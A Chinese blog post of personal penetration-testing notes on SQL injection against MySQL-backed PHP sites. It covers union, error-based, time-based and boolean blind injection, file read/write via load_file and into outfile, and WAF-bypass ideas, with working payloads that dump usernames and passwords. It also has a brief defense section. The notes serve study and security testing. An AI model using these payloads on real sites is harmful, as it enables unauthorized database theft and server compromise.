个人笔记-渗透测试-SQL注入

W_lanlanlu

已于 2024-06-13 16:26:12 修改

阅读量860

点赞数 19

分类专栏：网安文章标签：笔记 sql 数据库

于 2024-05-20 11:12:07 首次发布

本文链接：https://blog.csdn.net/weixin_48162696/article/details/138857640

版权

网安专栏收录该内容

12 篇文章 0 订阅

订阅专栏

一，SQL注入

1，什么是SQL注入

指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中实现定义好查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

2，数据库概述

关系型数据库
- 常见的有：MySQL，Orcla，SQL Server等
非关系型数据库
- 常见有：MongoDB，Redis

3，MySQL数据库

union 合并查询有2个特性：

前面查询的语句和后面查询的语句结果互不相干
前面的查询语句的字段数量和后面查询的字段数量要一致

order by 字段名字 也可以跟上字段（列）数量

select * from test order by 3; 猜解字段数

系统库

information_schema库
- SCHEMATA：所有数据库信息
  - SCHEMA_NAME：保存数据库所有库名的信息
- TABLES：所有表的信息
  - TABLE_NAME：保存所有表名的信息
- COLUMNS：所有列信息
  - columns_name：保存所有列名的信息
Performance_schema库
- 用于收集数据库服务器性能参数，包括内存，磁盘
mysql

存储数据库的用户信息，权限设置，关键字等

sys ——把前两张库整合一起

二，MySQL手工注入

1，判断注入点

and 1=1
随便输入内容 == 报错–>注入点

2，猜解列名（字段）数量

order by 数字 == 报错–>字段数

3，判断回显点

union == 报错–>回显

4，信息收集

数据库版本 version() 高版本5.0以上低版本5.0
数据库名称 database()

5，使用对应的SQL进行注入

group_concat()

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

union select 1,2,(select group_concat(username,0x3a,password)from users)

三，高权限注入

1，MySQL权限介绍

mysql库中存在4个控制权限的表，分别为user表，db表，tables_priv表，columns_priv表

mysql权限表的验证过程：

先从user表中的Host，User，Password这三个字段中判断
通过身份认证后，进行权限分配，按照user，db，，，的顺序验证
先检查全局权限表user，如果user中对应的权限为Y，则此用户对所有数据库的权限都为Y，将不再检查db等表；
如果为N，则到db表中检查此用户对应的具体表，取得表中的权限Y，以此类推

MySQL权限级别分为：

全局性的管理权限：作用于整个MySQL实例级别
数据库级别的权限：作用于某个指定的数据库上或者所有数据库上
数据库对象级别的权限：作用于指定的数据库对象上或者所有的数据库对象

#查看mysql有哪些用户
select user,host from mysql.user;

查看用户对应的权限
select * from user where user='root' and host='localhost' \G;

#创建mysql用户
create user/grant
CREATE USER 'test'@'localhost' identified by '123456';

#只提供查询id的权限
grant select(id) on 库名.表名 to test1@'localhost' identified by '123456';

# 把普通用户变成管理员
grant all privileges on *.* to 'test'@'localhost' with grant option;

#删除用户
drop user test@'localhost';

2，注入流程——高权限跨库查询

判断注入点
判断回显
联合查询当前用户
查询数据库名

?id=-1%20union%20select%201,user(),group_concat(schema_name) from information_schema.schemata

查询对应数据库的表名

?id=-1%20union%20select%201,user(),group_concat(table_name) from information_schema.tables where table_schema=表名

查询表中对应的字段名

?id=-1%20union%20select%201,user(),group_concat(column_name) from information_schema.columns where table_name=表名

查询数据

3，高权限进行文件读写

文件读写注入的条件：高版本的MySQL添加了一个新的特性secure_file_priv，该选项限制了mysql导出文件的权限

linux
cat /etc/my.cnf
	[msqld]
	secure_file_priv=
	
windows
my.ini
	[msqld]
	secure_file_priv=

#查看mysql全局变量的配置
show global variables like '%secure%'

读写文件需要secure_file_priv权限

secure_file_priv= 代表对文件读写没有限制
secure_file_priv=NULL 代表不能进行文件读写
secure_file_priv=d:/phpstudy/mysql/data 代表只能对该路径下文件进行读写

了解知道网站的绝对路径

/var/www/html /var/mysql/data
phpstudy/www
xampp/htdocs
wamp/www

路径获取常见方式：
报错显示，遗留文件，漏洞报错，平台配置文件等

4，读写文件

使用函数：load_file() ——后面路径可以使用单引号，0x，char转换的字符
一般可以与union中做为一个字段使用，查看config.php（mysql的密码)，apache配置。。。

使用函数写入文件：Into Outfile（能写入多行，按格式输出）和 into Dumpfile（只能写入一行且没有输出格式）outfile后面不能接0x开头或者char转换后的路径，只能是单引号路径。

union select 1,2,‘mc’ into outfile ‘d:/yuan/2.txt’–+

四，基础防御

1，魔术引号

magic_quotes_gpc = On 一个自动将进入php脚本的数据进行转义的过程

在php.ini文件内找到魔术引号

2，内置函数过滤

is_int()
addslashes() —加斜杠
mysql_real_escape_string()
mysql_escape_string()

3，自定义关键字

str_replace(查找字，替换字，查找对象) 替换对应字符

五，SQL注入的数据类型

判断 SQL注入点

随便输入 and 1=1
数字型注入点 id =1 and 1 = 1
字符型注入点 id =1’

1，数字型

id = 1 and 1=2     --false
$id = $_GET(id)
原型：$sql = "select * from users where id=$id LIMIT 0,1"

2，字符型

$id = $_GET(id)
原型：$sql = "select * from users where id='$id' LIMIT 0,1"

在mysql中，会过滤1后面的数据，id=‘1dfgare’ 只会找1
在mysql中，字符可以用‘或者"

3，搜索型注入

like 模糊查询 %%通配符

原型：select * from user where like '%$id%';

%id =y%' or 1=1# 
>>select * from user where like '%y%' or 1=1# %';
注释：#或--+

4，XX型注入点

由于SQL语句拼接方式不同，在SQL中的实际语句为：，其本质为(xx’) or 1=1 #)
常见闭合符号：’ " % ( {

六，SQL注入的提交方式

1，GET方式注入

2，POST方式注入

3，Request方式注入

超全局变量PHP中的许多预定义变量都是”超全局的“，这意味着它们在一个脚本的全部作用域都可以用，这些超全局变量是：

$_REQUEST[‘’] (get,post,cookie提交的三合一)
$_COOKIE[‘’] 提交
$_SERVER 获取用户浏览器的信息

4，HTTP头部注入

Accept
Cookie

七，SQL查询方式及报错

1，查询方式

select
delete
insert into 无回显点
updata

2，报错盲注

基于报错的SQL盲注-报错回显（强制报错，报错显示的xpath参数会被sql调用）
- updatexml()：从目标XML中更改包含所查询值的字符串
- extractvalue():从目标XML中返回包含所查询值的字符串

' or extractvalue(1,concat(0x7e,database())) or'

3，基于时间的SQL盲注-延时注入

基础知识

sleep(): 时停
if(条件,成立,不成立): 关键字，分支
mid(a,b,c): 从b开始，截取a字符的c位
substr(a,b,c): 从b开始，截取a字符串的c长度
left(database(),1): 从左到右，返回1个字符
length(database())=8: 判断长度
ord=ascii ascii(x)=100:

用法

and sleep(if(database()='test',5,0))
and sleep(if(length(database()=8),5,0))
and sleep(if(mid(database(),1,1)='s',0,5))
防止‘或者"被转义，可以使用ascii码来转换 
and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115,sleep(3),0)

4，布尔盲注

注入流程：判断有无注入点，判断数据类型，结合二分法进行猜解

#猜解库名
and ascii(mid(database(),1,1))>115 --+
and ascii(mid(database(),1,1))>85 --+
and ascii(mid(database(),1,1))>105 --+
and ascii(mid(database(),1,1))>110 --+
and ascii(mid(database(),1,1))=115 --+

and ascii(mid(database(),2,1))=101 --+

#猜解表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>115 --+

5，加密注入

Base64是网络上最常见的用于传输8Bit字节码的编码方式之一，Base64就是一种基于64给可打印字符来表示二进制数据的方法

%3D 代表：=

sql注入时使用加密进行数据传输

6，堆叠注入

MySql中一堆sql语句堆在一起，可以全部查询，
一般用于插入，删除，修改等操作

和union（联合注入）的区别

union执行语句类型有限，一般只能查询语句
堆叠可以执行任意语句
堆叠对数据库软件限制很大

八，WAF绕过

1，WAF拦截原理

从规则库中匹配敏感字符进行拦截

tips：

%0a – 换行符
%23 --#
%20 --空格

2，绕过思路

数据
- 大小写混用
- 加密解密
- 编码解码
- 等价函数
- 特殊符号
- 反序列化
- 注释符混用
方式
- 更改提交方式
- 变异
其他
- Fuzz打法
- 数据库特性
- 垃圾数据溢出